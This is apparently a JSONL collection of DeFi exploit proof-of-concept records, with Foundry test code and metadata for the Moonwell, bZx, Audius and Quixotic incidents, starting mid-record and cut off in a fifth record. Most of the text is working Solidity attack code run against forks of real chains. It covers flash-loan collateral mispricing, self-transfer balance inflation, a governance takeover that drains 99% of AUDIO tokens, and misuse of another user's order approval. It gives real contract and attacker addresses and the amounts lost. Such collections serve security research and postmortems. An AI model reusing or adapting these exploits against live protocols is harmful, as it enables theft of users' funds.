0x16e25fAcBA67a40dA3436ab9E2E00C30daB0dD97;\n\n // Tokens\n address constant WRSETH = 0xEDfa23602D0EC14714057867A78d01e94176BEA0; // rsETHWrapper (wrsETH) on Base\n address constant MW_RSETH = 0xfC41B49d064Ac646015b459C522820DB9472F4B5; // Moonwell mwrsETH cToken\n address constant MW_STETH = 0x627Fe393Bc6EdDA28e99AE648fD6fF362514304b;\n address constant WSTETH = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452; // wstETH on Base\n address constant WETH = 0x4200000000000000000000000000000000000006; // canonical WETH on Base\n\n // Moonwell Comptroller (Unitroller)\n address constant COMPTROLLER = 0xfBb21d0380beE3312B33c4353c8936a0F13EF26C;\n\n uint256 constant BLOCK = 37722882 - 1;\n\n AttackContract attacker;\n\n function setUp() public {\n vm.createSelectFork(\"base\", BLOCK);\n vm.label(V3POOL_WRSETH_WETH, \"UniswapV3Pool\");\n vm.label(WRSETH, \"wrsETH\");\n vm.label(MW_RSETH, \"mwrsETH\"); \n vm.label(MW_STETH, \"mwstETH\");\n vm.label(WSTETH, \"0xc1cb_wstETH\");\n vm.label(WETH, \"WETH\");\n \n attacker = new AttackContract(\n CLPOOL_WSTETH_WRSETH,\n CLPOOL_WSTETH_WETH,\n V3POOL_WRSETH_WETH,\n WRSETH,\n MW_RSETH,\n MW_STETH,\n COMPTROLLER,\n WSTETH,\n WETH\n );\n\n vm.label(address(attacker), \"Receiver\");\n }\n\n function testExploit() public {\n uint256 wethBefore = IERC20(WETH).balanceOf(address(attacker));\n\n attacker.attack();\n\n uint256 wethAfter = IERC20(WETH).balanceOf(address(attacker));\n emit log_named_uint(\"WETH profit\", wethAfter - wethBefore);\n\n assertGt(wethAfter, wethBefore);\n }\n}\n\ncontract AttackContract is Test, ICLFlashCallback, ICLSwapCallback {\n uint256 internal constant FLASH_AMOUNT = 20_782_357_954_960;\n uint256 internal constant BORROW_AMOUNT = 20_592_096_934_942_276_800;\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n ICLPool public clPoolWstEthWrsEth;\n ICLPool public clPoolWstEthWeth;\n ICLPool public v3PoolWrsEthWeth;\n \n IERC20 public wrsEth;\n ICErc20 public mwrsEth;\n ICErc20 public mwstEth;\n\n IComptroller public comptroller;\n\n IERC20 public wstEth;\n IERC20 public weth;\n\n constructor(\n address _clpoolWstEthWrsEth,\n address _clpoolWstEthWeth,\n address _v3poolWrsEthWeth,\n address _wrsEth,\n address _mwrsEth,\n address _mwstEth,\n address _comptroller,\n address _wstEth,\n address _weth\n ) {\n clPoolWstEthWrsEth = ICLPool(_clpoolWstEthWrsEth);\n clPoolWstEthWeth = ICLPool(_clpoolWstEthWeth);\n v3PoolWrsEthWeth = ICLPool(_v3poolWrsEthWeth);\n\n wrsEth = IERC20(_wrsEth);\n mwrsEth = ICErc20(_mwrsEth);\n mwstEth = ICErc20(_mwstEth);\n comptroller = IComptroller(_comptroller);\n wstEth = IERC20(_wstEth);\n weth = IERC20(_weth);\n }\n\n function attack() public {\n // take wrsETH flash loan from wstETH/wrsETH pool\n clPoolWstEthWrsEth.flash(\n address(this),\n 0, // amount0 (wstETH)\n FLASH_AMOUNT, // amount1 (wrsETH)\n bytes(\"\") \n );\n \n // swap remaining wrsETH to WETH to realize profit\n uint256 wrsEthBalance = wrsEth.balanceOf(address(this));\n v3PoolWrsEthWeth.swap(\n address(this),\n false, \n int256(wrsEthBalance), \n MAX_SQRT_RATIO - 1,\n bytes(\"\")\n );\n\n uint256 wethBalance = weth.balanceOf(address(this));\n }\n\n function uniswapV3FlashCallback(\n uint256,\n uint256 fee1,\n bytes calldata\n ) external override {\n require(msg.sender == address(clPoolWstEthWrsEth), \"invalid flash caller\");\n\n uint256 flashAmount = wrsEth.balanceOf(address(this));\n wrsEth.approve(address(mwrsEth), flashAmount);\n mwrsEth.mint(flashAmount);\n\n address[] memory markets = new address[](1);\n markets[0] = address(mwrsEth);\n comptroller.enterMarkets(markets);\n\n // over-borrow wstETH using the mispriced wrsETH collateral\n mwstEth.borrow(BORROW_AMOUNT);\n\n // swap borrowed wstETH -> WETH on wstETH/WETH pool\n uint256 wstBalance = wstEth.balanceOf(address(this));\n clPoolWstEthWeth.swap(\n address(this),\n false, \n int256(wstBalance), \n MAX_SQRT_RATIO - 1,\n bytes(\"\")\n );\n\n // swap WETH -> wrsETH on wrsETH/WETH UniswapV3 pool to get wrsETH to repay flash loan\n uint256 wethBalance = weth.balanceOf(address(this));\n v3PoolWrsEthWeth.swap(\n address(this),\n true, \n int256(wethBalance), \n MIN_SQRT_RATIO + 1,\n bytes(\"\")\n );\n\n // repay wrsETH flash loan + fee1 back to wstETH/wrsETH pool\n uint256 repayAmount = flashAmount + fee1;\n wrsEth.transfer(address(clPoolWstEthWrsEth), repayAmount);\n }\n\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata\n ) external override {\n address token0;\n address token1;\n \n if (msg.sender == address(clPoolWstEthWeth)) {\n token0 = clPoolWstEthWeth.token0();\n token1 = clPoolWstEthWeth.token1();\n } else if (msg.sender == address(v3PoolWrsEthWeth)) {\n token0 = v3PoolWrsEthWeth.token0();\n token1 = v3PoolWrsEthWeth.token1();\n } else {\n revert(\"invalid swap caller\");\n }\n\n if (amount0Delta > 0) {\n IERC20(token0).transfer(msg.sender, uint256(amount0Delta));\n }\n if (amount1Delta > 0) {\n IERC20(token1).transfer(msg.sender, uint256(amount1Delta));\n }\n }\n}\n\n\n", "type": "exploit_poc", "protocol": "Moonwell", "date": "2025-11", "file_name": "Moonwell_exp.sol", "attack_vector": null, "content_hash": "9008949c528d5bd2", "collected_at": "2026-01-07T10:59:16.548728", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "1M USD", "total_lost_usd": 1000000.0, "attacker_address": "https://basescan.org/address/0x6997a8c804642ae2de16d7b8ff09565a5d5658ff", "attack_contract": "https://basescan.org/address/0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/base/0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "1M USD", "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 wethBefore = IERC20(WETH).balanceOf(address(attacker));\n\n attacker.attack();\n\n uint256 wethAfter = IERC20(WETH).balanceOf(address(attacker));\n emit log_named_uint(\"WETH profit\", wethAfter - wethBefore);\n\n assertGt(wethAfter, wethBefore);\n }\n}\n\ncontract AttackContract is Test, ICLFlashCallback, ICLSwapCallback {\n uint256 internal constant FLASH_AMOUNT = 20_782_357_954_960;\n uint256 internal constant BORROW_AMOUNT = 20_592_096_934_942_276_800;\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n ICLPool public clPoolWstEthWrsEth;\n ICLPool public clPoolWstEthWeth;\n ICLPool public v3PoolWrsEthWeth;\n \n IERC20 public wrsEth;\n ICErc20 public mwrsEth;\n ICErc20 public mwstEth;\n\n IComptroller public comptroller;\n\n IERC20 public wstEth;\n IERC20 public weth;\n\n constructor(\n address _clpoolWstEthWrsEth,\n address _clpoolWstEthWeth,\n address _v3poolWrsEthWeth,\n address _wrsEth,\n address _mwrsEth,\n address _mwstEth,\n address _comptroller,\n address _wstEth,\n address _weth\n ) {\n clPoolWstEthWrsEth = ICLPool(_clpoolWstEthWrsEth);\n clPoolWstEthWeth = ICLPool(_clpoolWstEthWeth);\n v3PoolWrsEthWeth = ICLPool(_v3poolWrsEthWeth);\n\n wrsEth = IERC20(_wrsEth);\n mwrsEth = ICErc20(_mwrsEth);\n mwstEth = ICErc20(_mwstEth);\n comptroller = IComptroller(_comptroller);\n wstEth = IERC20(_wstEth);\n weth = IERC20(_weth);\n }", "has_exploit_code": true, "keyinfo_total_lost": "1M USD", "keyinfo_attacker": "https://basescan.org/address/0x6997a8c804642ae2de16d7b8ff09565a5d5658ff", "keyinfo_attack_contract": "https://basescan.org/address/0x42ecd332d47c91cbc83b39bd7f53cebe5e9734bb", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/base/0x190a491c0ef095d5447d6d813dc8e2ec11a5710e189771c24527393a2beb05ac", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "Moonwell Exploit (2025-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost :\n// Attacker : https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7\n// Vulnerable Contract : https://etherscan.io/address/0xb983e01458529665007ff7e0cddecdb74b967eb6\n// Attack Tx : https://etherscan.io/tx/0x85dc2a433fd9eaadaf56fd8156c956da23fc17e5ef83955c7e2c4c37efa20bb5\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xde744d544a9d768e96c21b5f087fc54b776e9b25#code\n\n// @Analysis\n// Twitter Guy : https://x.com/0xCommodity/status/1305354469354303488\n\npragma solidity ^0.8.0;\n\ncontract bzx is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 10_852_716 - 1;\n\n ILoanTokenLogicWeth constant loanToken = ILoanTokenLogicWeth(0xB983E01458529665007fF7E0CDdeCDB74B967Eb6);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0x0);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n vm.deal(address(this), 200 ether); //simulation flashloan\n loanToken.mintWithEther{value: 200 ether}(address(this));\n\n // transfer token to myself repeatedly\n for (int256 i = 0; i < 4; i++) {\n uint256 balance = loanToken.balanceOf(address(this));\n loanToken.transfer(address(this), balance);\n }\n\n uint256 balance = loanToken.balanceOf(address(this));\n loanToken.burnToEther(address(this), balance);\n\n payable(address(0x0)).transfer(200 ether); //simulation replay flashloan\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "bzx", "date": "2020-09", "file_name": "bzx_exp.sol", "attack_vector": "flash_loan", "content_hash": "b5296bae83072ab7", "collected_at": "2026-01-07T10:59:16.548794", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "// Attacker : https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7", "total_lost_usd": 0, "attacker_address": "https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xb983e01458529665007ff7e0cddecdb74b967eb6", "attack_tx": "https://etherscan.io/tx/0x85dc2a433fd9eaadaf56fd8156c956da23fc17e5ef83955c7e2c4c37efa20bb5", "postmortem_url": null, "twitter_url": "https://x.com/0xCommodity/status/1305354469354303488", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "// Attacker : https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n vm.deal(address(this), 200 ether); //simulation flashloan\n loanToken.mintWithEther{value: 200 ether}(address(this));\n\n // transfer token to myself repeatedly\n for (int256 i = 0; i < 4; i++) {\n uint256 balance = loanToken.balanceOf(address(this));\n loanToken.transfer(address(this), balance);\n }\n\n uint256 balance = loanToken.balanceOf(address(this));\n loanToken.burnToEther(address(this), balance);\n\n payable(address(0x0)).transfer(200 ether); //simulation replay flashloan\n }\n\n fallback() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "//", "keyinfo_attacker": "https://etherscan.io/address/0xd1c0f1316140D6bF1a9e2Eea8a227dAD151F69b7", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb983e01458529665007ff7e0cddecdb74b967eb6", "keyinfo_attack_tx": "https://etherscan.io/tx/0x85dc2a433fd9eaadaf56fd8156c956da23fc17e5ef83955c7e2c4c37efa20bb5", "analysis_postmortem": "", "analysis_twitter": "https://x.com/0xCommodity/status/1305354469354303488", "funds_lost_formatted": "Unknown", "content_richness_score": 6.91, "quality_estimate": "medium", "title": "bzx Exploit (2020-09)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 704 ETH (~ 1,080,000 US$)\n// Attacker : 0xa0c7bd318d69424603cbf91e9969870f21b8ab4c\n// AttackContract : 0xbdbb5945f252bc3466a319cdcc3ee8056bf2e569\n// Tx1 initialize + ProposalSubmitted + Staked : https://etherscan.io/tx/0xfefd829e246002a8fd061eede7501bccb6e244a9aacea0ebceaecef5d877a984\n// Tx2 submitVote : https://etherscan.io/tx/0x3c09c6306b67737227edc24c663462d870e7c2bf39e9ab66877a980c900dd5d5\n// Tx3 evaluateProposal : https://etherscan.io/tx/0x4227bca8ed4b8915c7eec0e14ad3748a88c4371d4176e716e8007249b9980dc9\n// Tx4 AUDIO/WETH Swap : https://etherscan.io/tx/0x82fc23992c7433fffad0e28a1b8d11211dc4377de83e88088d79f24f4a3f28b3\n\n// @Info\n// Governance Contract (Proxy) : https://etherscan.io/address/0x4deca517d6817b6510798b7328f2314d3003abac#code\n// Governance Contract (Logic) : https://etherscan.io/address/0x1c91af03a390b4c619b444425b3119e553b5b44b#code\n// Stacking Contract (Proxy) : https://etherscan.io/address/0xe6d97b2099f142513be7a2a068be040656ae4591#code\n// Stacking Contract (Logic) : https://etherscan.io/address/0xea10fd3536fce6a5d40d55c790b96df33b26702f#code\n// DelegateManagerV2 (Proxy) : https://etherscan.io/address/0x4d7968ebfd390d5e7926cb3587c39eff2f9fb225#code\n// DelegateManagerV2 (Logic) : https://etherscan.io/address/0xf24aeab628493f82742db68596b532ab8a141057#code\n// UniswapV2 Router 2 : https://etherscan.io/address/0x7a250d5630b4cf539739df2c5dacb4c659f2488d#code\n\n// @NewsTrack\n// Official Announcement : https://twitter.com/AudiusProject/status/1551000725169180672\n// Official Post-Mortem : https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22\n// SunSec : https://twitter.com/1nf0s3cpt/status/1551050841146400768\n// Abmedia News : https://abmedia.io/20220724-audius-hacked-by-mal-governance-proposal\n// Beosin Alert : https://twitter.com/BeosinAlert/status/1551041795735408641\n// CertiK Alert : https://twitter.com/CertiKAlert/status/1551020421532770305\n// MistTrack : https://twitter.com/MistTrack_io/status/1551204726661734400\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\naddress constant attacker = 0xa0c7BD318D69424603CBf91e9969870F21B8ab4c;\naddress constant AUDIO = 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998;\naddress payable constant uniswap = payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\naddress constant governance = 0x4DEcA517D6817B6510798b7328F2314d3003AbAC;\naddress constant staking = 0xe6D97B2099F142513be7A2a068bE040656Ae4591;\naddress constant delegatemanager = 0x4d7968ebfD390D5E7926Cb3587C39eFf2F9FB225;\n\ninterface IGovernence {\n enum Vote {\n None,\n No,\n Yes\n }\n enum Outcome {\n InProgress,\n Rejected,\n ApprovedExecuted,\n QuorumNotMet,\n ApprovedExecutionFailed,\n Evaluating,\n Vetoed,\n TargetContractAddressChanged,\n TargetContractCodeHashChanged\n }\n\n function initialize(\n address _registryAddress,\n uint256 _votingPeriod,\n uint256 _executionDelay,\n uint256 _votingQuorumPercent,\n uint16 _maxInProgressProposals,\n address _guardianAddress\n ) external;\n function evaluateProposalOutcome(\n uint256 _proposalId\n ) external returns (Outcome);\n function submitProposal(\n bytes32 _targetContractRegistryKey,\n uint256 _callValue,\n string calldata _functionSignature,\n bytes calldata _callData,\n string calldata _name,\n string calldata _description\n ) external returns (uint256);\n function submitVote(uint256 _proposalId, Vote _vote) external;\n}\n\ninterface IStaking {\n function initialize(address _tokenAddress, address _governanceAddress) external;\n}\n\ninterface IDelegateManagerV2 {\n function initialize(\n address _tokenAddress,\n address _governanceAddress,\n uint256 _undelegateLockupDuration\n ) external;\n function setServiceProviderFactoryAddress(\n address _spFactory\n ) external;\n function delegateStake(address _targetSP, uint256 _amount) external returns (uint256);\n}\n\n/* Contract: 0xf70f691d30ce23786cfb3a1522cfd76d159aca8d */\ncontract AttackContract is Test {\n address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_201_793); // Fork mainnet at block 15201793\n cheat.label(AUDIO, \"AUDIO\");\n cheat.label(uniswap, \"UniswapV2Router02\");\n cheat.label(governance, \"GovernanceProxy\");\n cheat.label(staking, \"Stacking\");\n cheat.label(delegatemanager, \"DelegateManagerV2\");\n }\n\n function testExploit() public {\n console.log(\"---------- Start from Block %s ----------\", block.number);\n emit log_named_decimal_uint(\"Attacker ETH Balance\", attacker.balance, 18);\n\n console.log(\"-------------------- Tx1 --------------------\");\n console.log(\"Modify configurations...\");\n console.log(\"-> votingPeriod : 3 blocks\");\n console.log(\"-> executionDelay : 0 block\");\n console.log(\"-> guardianAddress : self\");\n // function initialize(\n // address _registryAddress,\n // uint256 _votingPeriod,\n // uint256 _executionDelay,\n // uint256 _votingQuorumPercent,\n // uint16 _maxInProgressProposals,\n // address _guardianAddress\n // )\n IGovernence(governance).initialize(address(this), 3, 0, 1, 4, address(this));\n\n console.log(\"Evaluate Proposal...\"); // this is to make sure one can submit new proposals\n IGovernence(governance).evaluateProposalOutcome(84); // callback this.getContract()\n\n uint256 audioBalance_gov = IERC20(AUDIO).balanceOf(governance);\n uint256 stealAmount = audioBalance_gov * 99 / 1e2; // Steal 99% of AUDIO Token from governance address\n\n console.log(\"Submit Proposal...\");\n // function submitProposal(\n // bytes32 _targetContractRegistryKey,\n // uint256 _callValue,\n // string calldata _functionSignature,\n // bytes calldata _callData,\n // string calldata _name,\n // string calldata _description\n // ) external returns (uint256)\n IGovernence(governance).submitProposal(\n bytes32(uint256(3078)),\n 0,\n \"transfer(address,uint256)\",\n abi.encode(address(this), stealAmount),\n \"Hello\",\n \"World\"\n );\n\n IStaking(staking).initialize(address(this), address(this));\n IDelegateManagerV2(delegatemanager).initialize(address(this), address(this), 1);\n IDelegateManagerV2(delegatemanager).setServiceProviderFactoryAddress(address(this));\n IDelegateManagerV2(delegatemanager).delegateStake(address(this), 1e31);\n\n console.log(\"-------------------- Tx2 --------------------\");\n console.log(\"SubmitVote `Yes` for malicious ProposalId 85...\");\n cheat.roll(15_201_795);\n IGovernence(governance).submitVote(85, IGovernence.Vote(2)); // Voting Yes\n\n console.log(\"-------------------- Tx3 --------------------\");\n console.log(\"Execute malicious ProposalId 85...\");\n cheat.roll(15_201_798);\n IGovernence(governance).evaluateProposalOutcome(85); // callback this.getContract()\n uint256 audioBalance_this = IERC20(AUDIO).balanceOf(address(this));\n emit log_named_decimal_uint(\"AttackContract AUDIO Balance\", audioBalance_this, 18);\n\n console.log(\"-------------------- Tx4 --------------------\");\n console.log(\"AUDIO/ETH Swap...\");\n address[] memory path = new address[](2);\n path[0] = AUDIO;\n path[1] = weth;\n IERC20(AUDIO).approve(uniswap, 1e40);\n IUniswapV2Router(uniswap).swapExactTokensForETH(audioBalance_this, 680 ether, path, attacker, block.timestamp);\n\n console.log(\"-------------------- End --------------------\");\n emit log_named_decimal_uint(\"Attacker ETH Balance\", attacker.balance, 18);\n }\n\n /* Tx1 callback functions */\n function getContract(\n bytes32 _targetContractRegistryKey\n ) external returns (address) {\n return AUDIO;\n }\n\n function isGovernanceAddress() external view returns (bool) {\n return true;\n }\n\n function getExecutionDelay() external view returns (uint256) {\n return 0;\n }\n\n function getVotingPeriod() external view returns (uint256) {\n return 0;\n }\n\n function transferFrom(address, address, uint256) external pure returns (bool) {\n return true;\n }\n\n function validateAccountStakeBalance(\n address\n ) external pure {}\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Audius", "date": "2022-07", "file_name": "Audius_exp.sol", "attack_vector": null, "content_hash": "013293e3055b0e87", "collected_at": "2026-01-07T10:59:16.548858", "_source": "postmortems", "chain": "ethereum", "block_number": 15201793, "total_lost_raw": "704 ETH (~ 1,080,000 US$)", "total_lost_usd": 704.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22", "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "704 ETH (~ 1,080,000 US$)", "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"---------- Start from Block %s ----------\", block.number);\n emit log_named_decimal_uint(\"Attacker ETH Balance\", attacker.balance, 18);\n\n console.log(\"-------------------- Tx1 --------------------\");\n console.log(\"Modify configurations...\");\n console.log(\"-> votingPeriod : 3 blocks\");\n console.log(\"-> executionDelay : 0 block\");\n console.log(\"-> guardianAddress : self\");\n // function initialize(\n // address _registryAddress,\n // uint256 _votingPeriod,\n // uint256 _executionDelay,\n // uint256 _votingQuorumPercent,\n // uint16 _maxInProgressProposals,\n // address _guardianAddress\n // )\n IGovernence(governance).initialize(address(this), 3, 0, 1, 4, address(this));\n\n console.log(\"Evaluate Proposal...\"); // this is to make sure one can submit new proposals\n IGovernence(governance).evaluateProposalOutcome(84); // callback this.getContract()\n\n uint256 audioBalance_gov = IERC20(AUDIO).balanceOf(governance);\n uint256 stealAmount = audioBalance_gov * 99 / 1e2; // Steal 99% of AUDIO Token from governance address\n\n console.log(\"Submit Proposal...\");\n // function submitProposal(\n // bytes32 _targetContractRegistryKey,\n // uint256 _callValue,\n // string calldata _functionSignature,\n // bytes calldata _callData,\n // string calldata _name,\n // string calldata _description\n // ) external returns (uint256)\n IGovernence(governance).submitProposal(\n bytes32(uint256(3078)),\n 0,\n \"transfer(address,uint256)\",\n abi.encode(address(this), stealAmount),\n \"Hello\",\n \"World\"\n );\n\n IStaking(staking).initialize(address(this), address(this));\n IDelegateManagerV2(delegatemanager).initialize(address(this), address(this), 1);\n IDelegateManagerV2(delegatemanager).setServiceProviderFactoryAddress(address(this));\n IDelegateManagerV2(delegatemanager).delegateStake(address(this), 1e31);\n\n console.log(\"-------------------- Tx2 --------------------\");\n console.log(\"SubmitVote `Yes` for malicious ProposalId 85...\");\n cheat.roll(15_201_795);\n IGovernence(governance).submitVote(85, IGovernence.Vote(2)); // Voting Yes\n\n console.log(\"-------------------- Tx3 --------------------\");\n console.log(\"Execute malicious ProposalId 85...\");\n cheat.roll(15_201_798);\n IGovernence(governance).evaluateProposalOutcome(85); // callback this.getContract()\n uint256 audioBalance_this = IERC20(AUDIO).balanceOf(address(this));\n emit log_named_decimal_uint(\"AttackContract AUDIO Balance\", audioBalance_this, 18);\n\n console.log(\"-------------------- Tx4 --------------------\");\n console.log(\"AUDIO/ETH Swap...\");\n address[] memory path = new address[](2);\n path[0] = AUDIO;\n path[1] = weth;\n IERC20(AUDIO).approve(uniswap, 1e40);\n IUniswapV2Router(uniswap).swapExactTokensForETH(audioBalance_this, 680 ether, path, attacker, block.timestamp);\n\n console.log(\"-------------------- End --------------------\");\n emit log_named_decimal_uint(\"Attacker ETH Balance\", attacker.balance, 18);\n }\n\n /* Tx1 callback functions */", "has_exploit_code": true, "keyinfo_total_lost": "704 ETH (~ 1,080,000 US$)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$704", "content_richness_score": 7, "quality_estimate": "medium", "title": "Audius Exploit (2022-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface Quixotic {\n function fillSellOrder(\n address seller,\n address contractAddress,\n uint256 tokenId,\n uint256 startTime,\n uint256 expiration,\n uint256 price,\n uint256 quantity,\n uint256 createdAtBlockNumber,\n address paymentERC20,\n bytes memory signature,\n address buyer\n ) external payable;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 op = IERC20(0x4200000000000000000000000000000000000042);\n Quixotic quixotic = Quixotic(0x065e8A87b8F11aED6fAcf9447aBe5E8C5D7502b6);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"optimism\", 13_591_383); //fork optimism at block 13591383\n }\n\n function testExploit() public {\n cheat.prank(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5);\n emit log_named_uint(\n \"Before exploiting, attacker OP Balance:\", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)\n );\n quixotic.fillSellOrder(\n 0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5,\n 0xbe81eabDBD437CbA43E4c1c330C63022772C2520,\n 1,\n 0,\n 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_934,\n 2_736_191_871_050_436_050_944,\n 1,\n 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_934,\n 0x4200000000000000000000000000000000000042,\n hex\"28bc2ff1634b13821eac466ef6875c44f1f556d00d3cafce02da07b217da395131294339d96a01922b83f8e3c67e74652198b3a6db79d7ddd48807b9ec6ae0491c\",\n 0x4D9618239044A2aB2581f0Cc954D28873AFA4D7B\n );\n emit log_named_uint(\n \"After exploiting, attacker OP Balance:\", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)\n );\n\n //issues was only check seller signature\n //require(_validateSellerSignature(sellOrder, signature),\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Quixotic", "date": "2022-07", "file_name": "Quixotic_exp.sol", "attack_vector": null, "content_hash": "a805cf22d401bfc8", "collected_at": "2026-01-07T10:59:16.548928", "_source": "postmortems", "chain": "unknown", "block_number": 13591383, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheat.prank(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5);\n emit log_named_uint(\n \"Before exploiting, attacker OP Balance:\", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)\n );\n quixotic.fillSellOrder(\n 0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5,\n 0xbe81eabDBD437CbA43E4c1c330C63022772C2520,\n 1,\n 0,\n 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_934,\n 2_736_191_871_050_436_050_944,\n 1,\n 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_934,\n 0x4200000000000000000000000000000000000042,\n hex\"28bc2ff1634b13821eac466ef6875c44f1f556d00d3cafce02da07b217da395131294339d96a01922b83f8e3c67e74652198b3a6db79d7ddd48807b9ec6ae0491c\",\n 0x4D9618239044A2aB2581f0Cc954D28873AFA4D7B\n );\n emit log_named_uint(\n \"After exploiting, attacker OP Balance:\", op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)\n );\n\n //issues was only check seller signature\n //require(_validateSellerSignature(sellOrder, signature),\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.14, "quality_estimate": "low", "title": "Quixotic Exploit (2022-07)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 178 BNB (~ 45,715 US$)\n// Attacker : 0xd9936EA91a461aA4B727a7e3661bcD6cD257481c\n// AttackContract : 0xcfb7909b7eb27b71fdc482a2883049351a1749d7\n// Txhash : 0x0e970ed84424d8ea51f6460ce6105ab68441d4450a80bc8d749fdf01e504ed8c\n\n// @Info\n// LPC Contract : https://bscscan.com/address/0x1e813fa05739bf145c1f182cb950da7af046778d#code#L1240\n\n// @NewsTrack\n// PANews : https://www.panewslab.com/zh_hk/articledetails/uwv4sma2.html\n// Beosin Alert : https://twitter.com/BeosinAlert/status/1551535854681718784\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\naddress constant attacker = 